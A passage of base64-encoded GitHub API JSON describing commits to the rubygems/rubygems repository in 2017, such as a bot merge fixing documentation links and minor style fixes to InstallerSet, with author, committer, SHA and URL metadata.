9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzA5NzIyMmJjY2M2MjUwMWVhYzE4NGQwYzEzODI4NGM2Yzg4MWZmNjYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMDk3MjIyYmNjYzYyNTAxZWFjMTg0ZDBjMTM4Mjg0YzZjODgxZmY2NiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wOTcyMjJiY2NjNjI1MDFlYWMxODRkMGMxMzgyODRjNmM4ODFmZjY2L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMmE2MjIzMjZiODMwYTUwYmY4ZDk0YzA2OGZjYmM3NGRkMTJhN2NmMSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yYTYyMjMyNmI4MzBhNTBiZjhkOTRjMDY4ZmNiYzc0ZGQxMmE3Y2YxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzJhNjIyMzI2YjgzMGE1MGJmOGQ5NGMwNjhmY2JjNzRkZDEyYTdjZjEifSx7InNoYSI6ImUxM2UyYjcwOTM3OTc2Nzk1YzY3ODRkODg1MWUyZGYwM2VhODg3MjAiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTEzZTJiNzA5Mzc5NzY3OTVjNjc4NGQ4ODUxZTJkZjAzZWE4ODcyMCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lMTNlMmI3MDkzNzk3Njc5NWM2Nzg0ZDg4NTFlMmRmMDNlYTg4NzIwIn1dfSx7InNoYSI6IjJhNjIyMzI2YjgzMGE1MGJmOGQ5NGMwNjhmY2JjNzRkZDEyYTdjZjEiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMDhUMjE6NTk6NDhaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTA4VDIxOjU5OjQ4WiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMTk2NCAtIGFseXNzYWlzOnBhdGNoLTEsIHI9ZHVja2luYXRvclxuXG5GaXggbGlua3MgaW4gUG9saWNpZXMgZG9jdW1lbnRcblxuIyBEZXNjcmlwdGlvbjpcblxuVGhpcyBpcyBhbiBSRG9jIGRvY3VtZW50LCBidXQgdGhlc2UgbGlua3Mgd2VyZSBpbiBNYXJrZG93biBzeW50YXguXG5cbiMgVGFza3M6XG5cbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gWyBdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLCJ0cmVlIjp7InNoYSI6IjY1ZmYzZWQ1MzZkNmJiODY0NjlkNGIwN2I5YWQxNGJhZTdmNWI2N2IiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy82NWZmM2VkNTM2ZDZiYjg2NDY5ZDRiMDdiOWFkMTRiYWU3ZjViNjdiIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMmE2MjIzMjZiODMwYTUwYmY4ZDk0YzA2OGZjYmM3NGRkMTJhN2NmMSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yYTYyMjMyNmI4MzBhNTBiZjhkOTRjMDY4ZmNiYzc0ZGQxMmE3Y2YxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzJhNjIyMzI2YjgzMGE1MGJmOGQ5NGMwNjhmY2JjNzRkZDEyYTdjZjEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMmE2MjIzMjZiODMwYTUwYmY4ZDk0YzA2OGZjYmM3NGRkMTJhN2NmMS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImRiNjJmYWJmNGI5MjkxYjczYjVhYTMzY2ZhMjYwYjIzMGQ5YjhjM2UiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGI2MmZhYmY0YjkyOTFiNzNiNWFhMzNjZmEyNjBiMjMwZDliOGMzZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYjYyZmFiZjRiOTI5MWI3M2I1YWEzM2NmYTI2MGIyMzBkOWI4YzNlIn0seyJzaGEiOiI5OTVkZGM5MDY0MGY2ZjdjZjAyYWIzYzhiMmI2OWZmYTQyNGVkMDY5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzk5NWRkYzkwNjQwZjZmN2NmMDJhYjNjOGIyYjY5ZmZhNDI0ZWQwNjkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOTk1ZGRjOTA2NDBmNmY3Y2YwMmFiM2M4YjJiNjlmZmE0MjRlZDA2OSJ9XX0seyJzaGEiOiJlMTNlMmI3MDkzNzk3Njc5NWM2Nzg0ZDg4NTFlMmRmMDNlYTg4NzIwIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiQXJ0aHVyIE1hcnppbmtvdnNraXkiLCJlbWFpbCI6ImRlaW1vc3M0MkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0wOC0wOFQyMTo0MTowM1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJHaXRIdWIiLCJlbWFpbCI6Im5vcmVwbHlAZ2l0aHViLmNvbSIsImRhdGUiOiIyMDE3LTA4LTA4VDIxOjQxOjAzWiJ9LCJtZXNzYWdlIjoiRml4IHN0eWxlIGlzc3VlcyBpbiBJbnN0YWxsZXJTZXQjbG9jYWw/XG5cblsrXSBBZGQgIHRocm93YXdheSB2YXJpYWJsZSBfIHRvIG1ha2UgaW50ZW50aW9uIG9mIGdldHRpbmcgb25seSB0aGUgc3BlYyBjbGVhcmVyLiIsInRyZWUiOnsic2hhIjoiZjQzMTFmMWJhMjE1YmQ3ZDkyM2Y5OGQyN2IwYWQzZTM2YWU4M2Y3ZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2Y0MzExZjFiYTIxNWJkN2Q5MjNmOThkMjdiMGFkM2UzNmFlODNmN2YifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9lMTNlMmI3MDkzNzk3Njc5NWM2Nzg0ZDg4NTFlMmRmMDNlYTg4NzIwIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2UxM2UyYjcwOTM3OTc2Nzk1YzY3ODRkODg1MWUyZGYwM2VhODg3MjAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZTEzZTJiNzA5Mzc5NzY3OTVjNjc4NGQ4ODUxZTJkZjAzZWE4ODcyMCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lMTNlMmI3MDkzNzk3Njc5NWM2Nzg0ZDg4NTFlMmRmMDNlYTg4NzIwL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYXJ0aHVyLW1hcnoiLCJpZCI6MTIxMjIwOTQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMTIyMDk0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyeiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2FydGh1ci1tYXJ6IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYXJ0aHVyLW1hcnovZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYXJ0aHVyLW1hcnovZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYXJ0aHVyLW1hcnovZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FydGh1ci1tYXJ6L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYXJ0aHVyLW1hcnovc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyei9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyei9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FydGh1ci1tYXJ6L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyei9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoid2ViLWZsb3ciLCJpZCI6MTk4NjQ0NDcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5ODY0NDQ3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3dlYi1mbG93IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiYzczMjIzZmE2NDFhMjQ5YTBiMzMzZTgwY2Q4OGU4YjgwZjBiNzYxYiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jNzMyMjNmYTY0MWEyNDlhMGIzMzNlODBjZDg4ZThiODBmMGI3NjFiIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2M3MzIyM2ZhNjQxYTI0OWEwYjMzM2U4MGNkODhlOGI4MGYwYjc2MWIifV19LHsic2hhIjoiYzczMjIzZmE2NDFhMjQ5YTBiMzMzZTgwY2Q4OGU4YjgwZjBiNzYxYiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IkFydGh1ciBNYXJ6aW5rb3Zza2l5IiwiZW1haWwiOiJkZWltb3NzNDJAZ21haWwuY29tIiwiZGF0ZSI6IjIwMTctMDgtMDhUMTU6NTg6MzNaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiR2l0SHViIiwiZW1haWwiOiJub3JlcGx5QGdpdGh1Yi5jb20iLCJkYXRlIjoiMjAxNy0wOC0wOFQxNTo1ODozM1oifSwibWVzc2FnZSI6IlNtYWxsIHN0eWxlIGZpeGVzIHRvIEluc3RhbGxlciBTZXRcblxuWy1dIFJlbW92ZSByZWR1bmRhbnQgY29tbWEgZnJvbSBJbnN0YWxsZXJTZXQjbG9jYWw/IiwidHJlZSI6eyJzaGEiOiI3MzZmNTRiMzNjMWIzOGRkMzYxNzFhMzc5YTNkZjdhYTcwYmI3ODQ0IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvNzM2ZjU0YjMzYzFiMzhkZDM2MTcxYTM3OWEzZGY3YWE3MGJiNzg0NCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2M3MzIyM2ZhNjQxYTI0OWEwYjMzM2U4MGNkODhlOGI4MGYwYjc2MWIiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYzczMjIzZmE2NDFhMjQ5YTBiMzMzZTgwY2Q4OGU4YjgwZjBiNzYxYiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9jNzMyMjNmYTY0MWEyNDlhMGIzMzNlODBjZDg4ZThiODBmMGI3NjFiIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2M3MzIyM2ZhNjQxYTI0OWEwYjMzM2U4MGNkODhlOGI4MGYwYjc2MWIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJhcnRodXItbWFyeiIsImlkIjoxMjEyMjA5NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIxMjIwOTQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FydGh1ci1tYXJ6IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYXJ0aHVyLW1hcnoiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyei9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyei9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyei9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYXJ0aHVyLW1hcnovc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hcnRodXItbWFyei9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FydGh1ci1tYXJ6L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FydGh1ci1tYXJ6L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYXJ0aHVyLW1hcnovZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FydGh1ci1tYXJ6L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJ3ZWItZmxvdyIsImlkIjoxOTg2NDQ0NywiYXZhdGFyX3V